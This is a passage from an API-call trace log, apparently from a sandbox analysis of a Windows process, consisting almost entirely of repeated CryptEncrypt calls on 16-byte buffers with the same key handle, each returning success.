dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.635] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.636] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.637] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.638] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.639] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0088.640] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 